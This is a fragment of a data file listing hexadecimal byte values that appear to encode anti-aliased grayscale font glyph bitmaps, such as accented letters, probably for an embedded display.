0x05, 0xED, 0xFF, 0xFF, 0xFB, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0xFF,
0xFF, 0xFF, 0x37, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0x6E, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0xE2, 0xFF, 0xFF, 0xFF, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0xA5,
0xFF, 0xFF, 0xFF, 0xCB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x45, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x28, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xA5, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xF6, 0xFF, 0xFF, 0xE6, 0xB2, 0xB2, 0xB2,
0xB2, 0xB2, 0xB2, 0xB2, 0xB2, 0xB2, 0xFD, 0xFF, 0xFF, 0xE0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x66,
0xFF, 0xFF, 0xFF, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC1, 0xFF, 0xFF,
0xFF, 0x3E, 0x00, 0x00, 0x00, 0x00, 0xC6, 0xFF, 0xFF, 0xFB, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x6A, 0xFF, 0xFF, 0xFF, 0x9B, 0x00, 0x00, 0x00, 0x28, 0xFF, 0xFF, 0xFF,
0xB5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x17, 0xFC, 0xFF, 0xFF, 0xF0,
0x08, 0x00, 0x00, 0x87, 0xFF, 0xFF, 0xFF, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xBD, 0xFF, 0xFF, 0xFF, 0x55, 0x00, 0x03, 0xE4, 0xFF, 0xFF, 0xF2, 0x09, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0xFF, 0xFF, 0xFF, 0xB2, 0x00,
0x47, 0xFF, 0xFF, 0xFF, 0x9F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x14, 0xFB, 0xFF, 0xFF, 0xFA, 0x14, 0x97, 0xFF, 0xFF, 0xFF, 0x43, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB9, 0xFF, 0xFF, 0xFF, 0x5A, 0x00, 0x00,
0x06, 0x5C, 0x5A, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x26, 0x5C, 0x37, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x0E, 0xF9, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBE, 0xFF, 0x92, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xB9, 0xFF, 0xDF, 0x3D, 0x00, 0x00, 0x04, 0x7D, 0xFF, 0xFF, 0x4A,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5D, 0xFF, 0xFF, 0xFF, 0xE9, 0xD5, 0xF4, 0xFF, 0xFF,
0xCA, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x69, 0xFC, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xCA, 0x1D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x25, 0x5D, 0x8F,
0x98, 0x78, 0x44, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x02, 0x44, 0x6B, 0x8C, 0x95, 0x7C, 0x61, 0x2F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x02, 0x6F, 0xDE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xCA, 0x4F, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xA5, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0x56, 0x00,
0x00, 0x00, 0x00, 0x49, 0xFF, 0xFF, 0xFF, 0xFB, 0x9E, 0x70, 0x60, 0x7A, 0xCC, 0xFF, 0xFF, 0xFF,
0xF7, 0x07, 0x00, 0x00, 0x00, 0xA9, 0xFF, 0xFF, 0xF5, 0x37, 0x00, 0x00, 0x00, 0x00, 0x00, 0x89,
0xFF, 0xFF, 0xFF, 0x38, 0x00, 0x00, 0x00, 0xD0, 0xFF, 0xFF, 0xA7, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x0E, 0xFE, 0xFF, 0xFF, 0x63, 0x00, 0x00, 0x00, 0x8E, 0xA6, 0xA6, 0x3D, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x08, 0xFD, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x0A, 0x39, 0xC6, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04,
0x4D, 0x83, 0xAA, 0xCA, 0xEA, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0x00, 0x00,
0x52, 0xD8, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x00,
0x00, 0x94, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF7, 0xD3, 0xA1, 0x59, 0xFF, 0xFF, 0xFF, 0x66,
0x00, 0x00, 0x47, 0xFF, 0xFF, 0xFF, 0xFC, 0x9A, 0x4B, 0x1B, 0x01, 0x00, 0x00, 0x00, 0xFB, 0xFF,
0xFF, 0x66, 0x00, 0x00, 0x98, 0xFF, 0xFF, 0xFF, 0x56, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F,
0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0xCE, 0xFF, 0xFF, 0xDC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x62, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0xCB, 0xFF, 0xFF, 0xD0, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x0F, 0xC9, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0x9D, 0xFF, 0xFF, 0xFE, 0x4E, 0x00,
0x00, 0x00, 0x00, 0x23, 0xD6, 0xFF, 0xFF, 0xFF, 0xFF, 0x6D, 0x00, 0x00, 0x56, 0xFF, 0xFF, 0xFF,
0xFF, 0xCA, 0x88, 0x95, 0xD2, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xD6, 0x86, 0x28, 0x00, 0xAE,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0x7B, 0x91, 0xFF, 0xFF, 0xFF, 0xFF, 0x60,
0x00, 0x0D, 0x93, 0xFD, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xDF, 0x48, 0x00, 0x26, 0xE6, 0xFF, 0xFF,
0xFF, 0x60, 0x00, 0x00, 0x00, 0x29, 0x62, 0x8B, 0x8F, 0x73, 0x3E, 0x01, 0x00, 0x00, 0x00, 0x11,
0x4B, 0x5E, 0x47, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xC8, 0xC8,
0xC8, 0x96, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x0C, 0xF4, 0xFF, 0xFF, 0xFF, 0xFC, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0x70, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xC1, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xCD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x23, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x2A,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x82, 0xFF,
0xFF, 0xFF, 0x7F, 0xFF, 0xFF, 0xFF, 0x87, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0xE0, 0xFF, 0xFF, 0xC6, 0x0C, 0xF6, 0xFF, 0xFF, 0xE2, 0x01, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0xFF, 0x68,
0x00, 0xAB, 0xFF, 0xFF, 0xFF, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xA3, 0xFF, 0xFF, 0xF9, 0x11, 0x00, 0x53, 0xFF, 0xFF, 0xFF, 0x9D, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0xF5, 0xFF, 0xFF, 0xAD, 0x00, 0x00, 0x08,
0xF2, 0xFF, 0xFF, 0xF1, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63,
0xFF, 0xFF, 0xFF, 0x50, 0x00, 0x00, 0x00, 0xA3, 0xFF, 0xFF, 0xFF, 0x57, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC4, 0xFF, 0xFF, 0xEC, 0x06, 0x00, 0x00, 0x00, 0x4B, 0xFF,
0xFF, 0xFF, 0xB4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x25, 0xFF, 0xFF, 0xFF,
0x95, 0x00, 0x00, 0x00, 0x00, 0x05, 0xED, 0xFF, 0xFF, 0xFB, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x84, 0xFF, 0xFF, 0xFF, 0x37, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF,
0xFF, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xE2, 0xFF, 0xFF, 0xFF, 0x63, 0x63,
0x63, 0x63, 0x63, 0x63, 0xA5, 0xFF, 0xFF, 0xFF, 0xCB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x45, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA5, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xF6, 0xFF,
0xFF, 0xE6, 0xB2, 0xB2, 0xB2, 0xB2, 0xB2, 0xB2, 0xB2, 0xB2, 0xB2, 0xFD, 0xFF, 0xFF, 0xE0, 0x01,
0x00, 0x00, 0x00, 0x00, 0x66, 0xFF, 0xFF, 0xFF, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xC1, 0xFF, 0xFF, 0xFF, 0x3E, 0x00, 0x00, 0x00, 0x00, 0xC6, 0xFF, 0xFF, 0xFB, 0x16,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6A, 0xFF, 0xFF, 0xFF, 0x9B, 0x00, 0x00,
0x00, 0x28, 0xFF, 0xFF, 0xFF, 0xB5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x17, 0xFC, 0xFF, 0xFF, 0xF0, 0x08, 0x00, 0x00, 0x87, 0xFF, 0xFF, 0xFF, 0x58, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBD, 0xFF, 0xFF, 0xFF, 0x55, 0x00, 0x03, 0xE4,
0xFF, 0xFF, 0xF2, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66,
0xFF, 0xFF, 0xFF, 0xB2, 0x00, 0x47, 0xFF, 0xFF, 0xFF, 0x9F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0xFB, 0xFF, 0xFF, 0xFA, 0x14, 0x97, 0xFF, 0xFF, 0xFF,
0x43, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB9, 0xFF,
0xFF, 0xFF, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x89, 0xFE, 0xFF, 0xCA, 0x19, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9E, 0xFF, 0xFF, 0xB3, 0x09,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x4B, 0xFF, 0xFF, 0xE7, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0xFF, 0xFF, 0xD3, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA3,
0xFF, 0xFF, 0xFF, 0xB2, 0x7F, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xB1, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xA9, 0xFF,
0xFF, 0xFF, 0xFF, 0xA6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x51, 0x53, 0x30, 0x01, 0x00, 0x00, 0x00, 0x00, 0x02,
0x44, 0x6B, 0x8C, 0x95, 0x7C, 0x61, 0x2F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02,
0x6F, 0xDE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xCA, 0x4F, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xA5, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0x56, 0x00, 0x00,
0x00, 0x00, 0x49, 0xFF, 0xFF, 0xFF, 0xFB, 0x9E, 0x70, 0x60, 0x7A, 0xCC, 0xFF, 0xFF, 0xFF, 0xF7,
0x07, 0x00, 0x00, 0x00, 0xA9, 0xFF, 0xFF, 0xF5, 0x37, 0x00, 0x00, 0x00, 0x00, 0x00, 0x89, 0xFF,
0xFF, 0xFF, 0x38, 0x00, 0x00, 0x00, 0xD0, 0xFF, 0xFF, 0xA7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x0E, 0xFE, 0xFF, 0xFF, 0x63, 0x00, 0x00, 0x00, 0x8E, 0xA6, 0xA6, 0x3D, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x08, 0xFD, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x0A, 0x39, 0xC6, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x4D,
0x83, 0xAA, 0xCA, 0xEA, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0x00, 0x00, 0x52,
0xD8, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0x00,
0x94, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF7, 0xD3, 0xA1, 0x59, 0xFF, 0xFF, 0xFF, 0x66, 0x00,
0x00, 0x47, 0xFF, 0xFF, 0xFF, 0xFC, 0x9A, 0x4B, 0x1B, 0x01, 0x00, 0x00, 0x00, 0xFB, 0xFF, 0xFF,
0x66, 0x00, 0x00, 0x98, 0xFF, 0xFF, 0xFF, 0x56, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0xFF,
0xFF, 0xFF, 0x66, 0x00, 0x00, 0xCE, 0xFF, 0xFF, 0xDE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x62, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0xCB, 0xFF, 0xFF, 0xD8, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x10, 0xC9, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0x9D, 0xFF, 0xFF, 0xFE, 0x4E, 0x00, 0x00,
0x00, 0x00, 0x23, 0xD6, 0xFF, 0xFF, 0xFF, 0xFF, 0x6D, 0x00, 0x00, 0x56, 0xFF, 0xFF, 0xFF, 0xFF,
0xCA, 0x7E, 0x95, 0xD2, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xD6, 0x86, 0x28, 0x00, 0xAE, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0x7B, 0x91, 0xFF, 0xFF, 0xFF, 0xFF, 0x60, 0x00,
0x0D, 0x93, 0xFD, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xDF, 0x48, 0x00, 0x26, 0xE6, 0xFF, 0xFF, 0xFF,
0x86, 0x00, 0x00, 0x00, 0x29, 0x62, 0x8B, 0x8F, 0x73, 0x3E, 0x01, 0x00, 0x00, 0x0A, 0xBC, 0xFF,
0xFF, 0xF6, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0xBF,
0xFF, 0xFF, 0x93, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x69, 0xFF, 0xFF, 0xD1, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xAF, 0xFF, 0xFF, 0xC2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xB7, 0xFF, 0xFF, 0xFF, 0xBB, 0x92, 0x72, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x9B, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0xA9, 0xFF, 0xFF, 0xFF, 0xFF, 0x86, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x25, 0x4B, 0x3F, 0x1B,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4C, 0x51, 0x51,
0x51, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x5A, 0xFF, 0xFF, 0xFF, 0xCC, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0xE9, 0xFF, 0xFF, 0xD8, 0x15, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x9E, 0xFF, 0xFF, 0xE3, 0x1E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0xFF, 0xFF, 0xEC, 0x29, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA6, 0xDF, 0xDA,
0x35, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0D, 0x3F, 0x56, 0x63, 0x61, 0x3B,
0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4F,
0xB7, 0xF9, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xEF, 0xA3, 0x19, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x1E, 0xB9, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xF2, 0x74, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x23, 0xE1, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xF0, 0xED, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xA3, 0x00, 0x00, 0x00, 0x00, 0x00,
0x0C, 0xE2, 0xFF, 0xFF, 0xFF, 0xFF, 0xB5, 0x53, 0x21, 0x00, 0x00, 0x0E, 0x46, 0xC7, 0xFF, 0xFF,
0xFF, 0xFF, 0x66, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFA, 0x72, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x79, 0xFF, 0xFF, 0xFF, 0xF8, 0x28, 0x00, 0x00, 0x17, 0xF3, 0xFF,
0xFF, 0xFF, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9E, 0xFF, 0xFF,
0xFF, 0x80, 0x00, 0x00, 0x95, 0xFF, 0xFF, 0xFF, 0xAE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x18, 0xFB, 0xFF, 0xFF, 0xCA, 0x00, 0x08, 0xFB, 0xFF, 0xFF, 0xFD, 0x2C,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA8, 0xEF, 0xEF, 0xEA,
0x05, 0x2C, 0xFF, 0xFF, 0xFF, 0xAF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x51, 0xFF, 0xFF, 0xFF, 0x80, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x76,
0xFF, 0xFF, 0xFF, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB1, 0xFF, 0xFF,
0xFF, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xA2, 0xFF, 0xFF, 0xFF, 0x29, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0xFF, 0xFF, 0xFF, 0x4A,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x7D, 0xFF, 0xFF, 0xFF, 0x6B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x1F, 0x5B, 0x5B, 0x5B, 0x13, 0x4F, 0xFF, 0xFF, 0xFF, 0x94, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8A, 0xFF, 0xFF, 0xFF, 0x33,
0x11, 0xFD, 0xFF, 0xFF, 0xF0, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xD4, 0xFF, 0xFF, 0xED, 0x02, 0x00, 0xCD, 0xFF, 0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x45, 0xFF, 0xFF, 0xFF, 0xAD, 0x00, 0x00, 0x5E,
0xFF, 0xFF, 0xFF, 0xED, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0xCE,
0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x03, 0xDB, 0xFF, 0xFF, 0xFF, 0xE4, 0x35, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x16, 0xCC, 0xFF, 0xFF, 0xFF, 0xC6, 0x02, 0x00, 0x00, 0x00, 0x42, 0xFA,
0xFF, 0xFF, 0xFF, 0xF8, 0x70, 0x27, 0x02, 0x00, 0x00, 0x14, 0x4D, 0xDC, 0xFF, 0xFF, 0xFF, 0xF7,
0x27, 0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF4, 0xD2, 0xDB,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF9, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4B, 0xDD,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xD2, 0x2F, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x7E, 0xF6, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xF1, 0x8A, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07,
